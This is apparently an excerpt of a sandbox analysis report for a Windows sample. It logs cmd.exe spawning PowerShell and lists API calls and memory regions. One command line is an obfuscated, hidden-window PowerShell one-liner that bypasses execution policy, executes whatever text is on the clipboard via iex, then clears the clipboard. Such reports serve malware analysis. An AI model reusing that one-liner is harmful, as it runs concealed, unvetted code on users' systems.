Module Get Filename process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Office\root\Client True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
Environment Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Environment Get Environment String name = KEYS False 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop, type = file_attributes True 2
Fn
Environment Set Environment String name = =C:, value = C:\Users\aETAdzjz\Desktop True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x77b20000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = CopyFileExW, address_out = 0x77b323d0 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = IsDebuggerPresent, address_out = 0x77b28290 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x77b317e0 True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Office\root\Client True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Process Create process_name = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, os_pid = 0xb44, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Environment Set Environment String name = COPYCMD True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Environment Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Environment Get Environment String - True 1
Fn
Data
Environment Set Environment String name = =ExitCodeAscii True 1
Fn
Environment Get Environment String - True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
Process #7: powershell.exe
540 286
»
Information Value
ID #7
File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; & ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:57, Reason: Child Process
Unmonitor End Time: 00:01:41, Reason: Self Terminated
Monitor Duration 00:00:44
OS Process Information
»
Information Value
PID 0xb44
Parent PID 0xb3c (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B48
0x B4C
0x B50
0x B54
0x B5C
0x B60
0x BF4
0x BF8
0x BFC
0x 508
0x 830
0x 838
0x 488
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
private_0x0000000000050000 0x00050000 0x0005ffff Private Memory rw True False False -
pagefile_0x0000000000060000 0x00060000 0x00066fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory rw True False False -
powershell.exe.mui 0x00080000 0x00082fff Memory Mapped File rw False False False -
private_0x0000000000090000 0x00090000 0x00090fff Private Memory rw True False False -
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory rw True False False -
private_0x00000000000b0000 0x000b0000 0x0012ffff Private Memory rw True False False -
locale.nls 0x00130000 0x00196fff Memory Mapped File r False False False -
pagefile_0x00000000001a0000 0x001a0000 0x001a0fff Pagefile Backed Memory r True False False -
pagefile_0x00000000001b0000 0x001b0000 0x001b0fff Pagefile Backed Memory r True False False -
pagefile_0x00000000001c0000 0x001c0000 0x001c1fff Pagefile Backed Memory r True False False -
pagefile_0x00000000001d0000 0x001d0000 0x001d0fff Pagefile Backed Memory rw True False False -
pagefile_0x00000000001e0000 0x001e0000 0x001e1fff Pagefile Backed Memory r True False False -
cversions.2.db 0x001f0000 0x001f3fff Memory Mapped File r True False False -
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db 0x00200000 0x0021ffff Memory Mapped File r True False False -
pagefile_0x0000000000220000 0x00220000 0x00220fff Pagefile Backed Memory rw True False False -
private_0x0000000000230000 0x00230000 0x0032ffff Private Memory rw True False False -
private_0x0000000000330000 0x00330000 0x0042ffff Private Memory rw True False False -
pagefile_0x0000000000430000 0x00430000 0x005b7fff Pagefile Backed Memory r True False False -
pagefile_0x00000000005c0000 0x005c0000 0x00740fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000750000 0x00750000 0x01b4ffff Pagefile Backed Memory r True False False -
private_0x0000000001b50000 0x01b50000 0x01c4ffff Private Memory rw True False False -
cversions.2.db 0x01c50000 0x01c53fff Memory Mapped File r True False False -
private_0x0000000001c60000 0x01c60000 0x01c6ffff Private Memory rw True False False -
pagefile_0x0000000001c70000 0x01c70000 0x01d4efff Pagefile Backed Memory r True False False -
pagefile_0x0000000001d50000 0x01d50000 0x01d50fff Pagefile Backed Memory r True False False -
private_0x0000000001d60000 0x01d60000 0x01ddffff Private Memory rwx True False False -
pagefile_0x0000000001de0000 0x01de0000 0x01de2fff Pagefile Backed Memory rw True False False -
pagefile_0x0000000001df0000 0x01df0000 0x01df0fff Pagefile Backed Memory rw True False False -
private_0x0000000001e00000 0x01e00000 0x01e7ffff Private Memory rw True False False -
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db 0x01e80000 0x01eaffff Memory Mapped File r True False False -
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db 0x01eb0000 0x01f15fff Memory Mapped File r True False False -
private_0x0000000001f20000 0x01f20000 0x01f9ffff Private Memory rw True False False -
sortdefault.nls 0x01fa0000 0x0226efff Memory Mapped File r False False False -
pagefile_0x0000000002270000 0x02270000 0x02662fff Pagefile Backed Memory r True False False -
private_0x0000000002670000 0x02670000 0x02770fff Private Memory rw True False False -
private_0x0000000002670000 0x02670000 0x0267ffff Private Memory rw True False False -
private_0x0000000002680000 0x02680000 0x0269ffff Private Memory - True False False -
l_intl.nls 0x026a0000 0x026a2fff Memory Mapped File r False False False -
private_0x00000000026b0000 0x026b0000 0x026b0fff Private Memory rw True False False -
sorttbls.nlp 0x026c0000 0x026c4fff Memory Mapped File r False False False -
sortkey.nlp 0x026d0000 0x02710fff Memory Mapped File r False False False -
microsoft.wsman.runtime.dll 0x02720000 0x02727fff Memory Mapped File rwx False False False -
pagefile_0x0000000002730000 0x02730000 0x02730fff Pagefile Backed Memory r True False False -
private_0x0000000002740000 0x02740000 0x027bffff Private Memory rwx True False False -
pagefile_0x00000000027c0000 0x027c0000 0x027c0fff Pagefile Backed Memory r True False False -
mscorrc.dll 0x027c0000 0x02813fff Memory Mapped File r True False False -
private_0x0000000002820000 0x02820000 0x0289ffff Private Memory rw True False False -
private_0x00000000028a0000 0x028a0000 0x0291ffff Private Memory rw True False False -
private_0x0000000002920000 0x02920000 0x02a1ffff Private Memory rw True False False -
private_0x0000000002a50000 0x02a50000 0x02acffff Private Memory rw True False False -
private_0x0000000002af0000 0x02af0000 0x02afffff Private Memory rw True False False -
private_0x0000000002b00000 0x02b00000 0x1aafffff Private Memory rw True False False -
private_0x000000001ab00000 0x1ab00000 0x1b1cffff Private Memory rw True False False -
private_0x000000001b1d0000 0x1b1d0000 0x1b2d0fff Private Memory rw True False False -
kernelbase.dll.mui 0x1b2e0000 0x1b39ffff Memory Mapped File rw False False False -
private_0x000000001b470000 0x1b470000 0x1b4effff Private Memory rw True False False -
system.management.automation.dll 0x1b4f0000 0x1b7d1fff Memory Mapped File rwx False False False -
private_0x000000001b7e0000 0x1b7e0000 0x1b8dffff Private Memory rw True False False -
system.transactions.dll 0x1e230000 0x1e278fff Memory Mapped File rwx False False False -
msvcr80.dll 0x756a0000 0x75768fff Memory Mapped File rwx False False False -
user32.dll 0x77a20000 0x77b19fff Memory Mapped File rwx False False False -
kernel32.dll 0x77b20000 0x77c3efff Memory Mapped File rwx False False False -
ntdll.dll 0x77c40000 0x77de8fff Memory Mapped File rwx False False False -
psapi.dll 0x77e00000 0x77e06fff Memory Mapped File rwx False False False -
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory r True False False -
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory r True False False -
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory r True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory r True False False -
powershell.exe 0x13fda0000 0x13fe16fff Memory Mapped File rwx False False False -
culture.dll 0x642ff4a0000 0x642ff4a9fff Memory Mapped File rwx True False False -
system.directoryservices.ni.dll 0x7fee0d60000 0x7fee0ef4fff Memory Mapped File rwx True False False -
system.management.ni.dll 0x7fee0f00000 0x7fee106bfff Memory Mapped File rwx True False False -
system.xml.ni.dll 0x7fee1070000 0x7fee1714fff Memory Mapped File rwx True False False -
microsoft.powershell.security.ni.dll 0x7fee1aa0000 0x7fee1addfff Memory Mapped File rwx True False False -
microsoft.powershell.commands.management.ni.dll 0x7fee1db0000 0x7fee1ec7fff Memory Mapped File rwx True False False -
microsoft.powershell.commands.utility.ni.dll 0x7fee1ed0000 0x7fee20e5fff Memory Mapped File rwx True False False -
system.transactions.ni.dll 0x7fee20f0000 0x7fee21d4fff Memory Mapped File rwx True False False -
microsoft.wsman.management.ni.dll 0x7fee21e0000 0x7fee2289fff Memory Mapped File rwx True False False -
system.configuration.install.ni.dll 0x7fee2290000 0x7fee22c1fff Memory Mapped File rwx True False False -
system.core.ni.dll 0x7fee22d0000 0x7fee25fdfff Memory Mapped File rwx True False False -
system.management.automation.ni.dll 0x7fee26e0000 0x7fee323cfff Memory Mapped File rwx True False False -
microsoft.powershell.consolehost.ni.dll 0x7fee3240000 0x7fee32f1fff Memory Mapped File rwx True False False -
system.ni.dll 0x7fee3300000 0x7fee3d22fff Memory Mapped File rwx True False False -
mscorlib.ni.dll 0x7fee3d30000 0x7fee4c0bfff Memory Mapped File rwx True False False -
mscorwks.dll 0x7fee4c10000 0x7fee55acfff Memory Mapped File rwx True False False -
shfolder.dll 0x7fee64e0000 0x7fee64e6fff Memory Mapped File rwx False False False -
microsoft.powershell.commands.diagnostics.ni.dll 0x7fee6510000 0x7fee6578fff Memory Mapped File rwx True False False -
mscoreei.dll 0x7fee9a60000 0x7fee9af8fff Memory Mapped File rwx True False False -
mscoree.dll 0x7fef35b0000 0x7fef361efff Memory Mapped File rwx True False False -
linkinfo.dll 0x7fef8e40000 0x7fef8e4bfff Memory Mapped File rwx False False False -
shdocvw.dll 0x7fef8e50000 0x7fef8e83fff Memory Mapped File rwx False False False -
ntshrui.dll 0x7fef9b40000 0x7fef9bbffff Memory Mapped File rwx False False False -
cscapi.dll 0x7fef9bc0000 0x7fef9bcefff Memory Mapped File rwx False False False -
apphelp.dll 0x7fefb340000 0x7fefb396fff Memory Mapped File rwx False False False -
slc.dll 0x7fefb730000 0x7fefb73afff Memory Mapped File rwx False False False -
atl.dll 0x7fefb760000 0x7fefb778fff Memory Mapped File rwx False False False -
ntmarta.dll 0x7fefbb00000 0x7fefbb2cfff Memory Mapped File rwx False False False -
uxtheme.dll 0x7fefc4b0000 0x7fefc505fff Memory Mapped File rwx False False False -
propsys.dll 0x7fefc510000 0x7fefc63bfff Memory Mapped File rwx False False False -
comctl32.dll 0x7fefc690000 0x7fefc883fff Memory Mapped File rwx False False False -
version.dll 0x7fefcd50000 0x7fefcd5bfff Memory Mapped File rwx False False False -
userenv.dll 0x7fefcf30000 0x7fefcf4dfff Memory Mapped File rwx False False False -
rsaenh.dll 0x7fefd180000 0x7fefd1c6fff Memory Mapped File rwx False False False -
cryptsp.dll 0x7fefd480000 0x7fefd496fff Memory Mapped File rwx False False False -
srvcli.dll 0x7fefd980000 0x7fefd9a2fff Memory Mapped File rwx False False False -
cryptbase.dll 0x7fefda80000 0x7fefda8efff Memory Mapped File rwx False False False -
profapi.dll 0x7fefdb90000 0x7fefdb9efff Memory Mapped File rwx False False False -
cfgmgr32.dll 0x7fefdce0000 0x7fefdd15fff Memory Mapped File rwx False False False -
kernelbase.dll 0x7fefdd60000 0x7fefddcafff Memory Mapped File rwx False False False -
devobj.dll 0x7fefddd0000 0x7fefdde9fff Memory Mapped File rwx False False False -
gdi32.dll 0x7fefdf60000 0x7fefdfc6fff Memory Mapped File rwx False False False -
shell32.dll 0x7fefdfd0000 0x7fefed57fff Memory Mapped File rwx False False False -
imm32.dll 0x7fefed60000 0x7fefed8dfff Memory Mapped File rwx False False False -
advapi32.dll 0x7feff0e0000 0x7feff1bafff Memory Mapped File rwx False False False -
sechost.dll 0x7feff1c0000 0x7feff1defff Memory Mapped File rwx False False False -
msctf.dll 0x7feff1e0000 0x7feff2e8fff Memory Mapped File rwx False False False -
setupapi.dll 0x7feff2f0000 0x7feff4c6fff Memory Mapped File rwx False False False -
usp10.dll 0x7feff4d0000 0x7feff598fff Memory Mapped File rwx False False False -
msvcrt.dll 0x7feff5a0000 0x7feff63efff Memory Mapped File rwx False False False -
shlwapi.dll 0x7feff640000 0x7feff6b0fff Memory Mapped File rwx False False False -
lpk.dll 0x7feff860000 0x7feff86dfff Memory Mapped File rwx False False False -
clbcatq.dll 0x7feff9a0000 0x7feffa38fff Memory Mapped File rwx False False False -
ole32.dll 0x7feffa40000 0x7feffc42fff Memory Mapped File rwx False False False -
rpcrt4.dll 0x7feffc50000 0x7feffd7cfff Memory Mapped File rwx False False False -
oleaut32.dll 0x7feffd80000 0x7feffe56fff Memory Mapped File rwx False False False -
wldap32.dll 0x7feffe60000 0x7feffeb1fff Memory Mapped File rwx False False False -
apisetschema.dll 0x7fefff60000 0x7fefff60fff Memory Mapped File rwx False False False -
private_0x000007ff00030000 0x7ff00030000 0x7ff0003ffff Private Memory - True False False -
private_0x000007ff00040000 0x7ff00040000 0x7ff0004ffff Private Memory - True False False -
private_0x000007ff00050000 0x7ff00050000 0x7ff000effff Private Memory - True False False -
private_0x000007ff000f0000 0x7ff000f0000 0x7ff000fffff Private Memory - True False False -
private_0x000007ff00100000 0x7ff00100000 0x7ff0016ffff Private Memory - True False False -
private_0x000007ff00170000 0x7ff00170000 0x7ff0017ffff Private Memory - True False False -
private_0x000007ff00180000 0x7ff00180000 0x7ff0018ffff Private Memory - True False False -
private_0x000007fffff10000 0x7fffff10000 0x7fffff1ffff Private Memory rwx True False False -
private_0x000007fffff20000 0x7fffff20000 0x7fffffaffff Private Memory rwx True False False -
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory r True False False -
private_0x000007fffffd3000 0x7fffffd3000 0x7fffffd4fff Private Memory rw True False False -
private_0x000007fffffd5000 0x7fffffd5000 0x7fffffd6fff Private Memory rw True False False -
private_0x000007fffffd7000 0x7fffffd7000 0x7fffffd8fff Private Memory rw True False False -
private_0x000007fffffd9000 0x7fffffd9000 0x7fffffdafff Private Memory rw True False False -
private_0x000007fffffdb000 0x7fffffdb000 0x7fffffdbfff Private Memory rw True False False -
private_0x000007fffffdc000 0x7fffffdc000 0x7fffffddfff Private Memory rw True False False -
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory rw True False False -
For performance reasons, the remaining 98 entries are omitted.
The remaining entries can be found in flog.txt.
Threads
Thread 0xb48
376 0
»
Category Operation Information Success Count Logfile
System Get Info type = Operating System True 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
User Lookup Privilege privilege = SeDebugPrivilege, luid = 20 True 1
Fn
Module Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 2048 True 1
Fn
System Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell True 1
Fn
Registry Read Value value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 9
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config, type = file_attributes False 1
Fn
Environment Get Environment String name = MshEnableTrace False 6
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
System Get Info type = Operating System True 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Set Environment String name = PSExecutionPolicyPreference, value = Bypass True 1
Fn
Environment Get Environment String name = MshEnableTrace False 10
Fn
Environment Get Environment String name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Environment True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Environment, value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Environment Set Environment String name = PSMODULEPATH, value = C:\Users\aETAdzjz\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
Registry Read Value value_name = path, data = 0, type = REG_SZ True 2
Fn
Registry Read Value value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Read Value value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Read size = 4096, size_out = 4096 True 36
Fn
Data
File Read size = 4096, size_out = 436 True 1
Fn
Data
File Read size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Registry Read Value value_name = path, data = 0, type = REG_SZ True 2
Fn
Registry Read Value value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
File Read size = 4096, size_out = 4096 True 5
Fn
Data
File Read size = 4096, size_out = 2530 True 1
Fn
Data
File Read size = 542, size_out = 0 True 1
Fn
File Read size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 5
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4018 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 78, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 16
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 3022 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 50, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 7
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
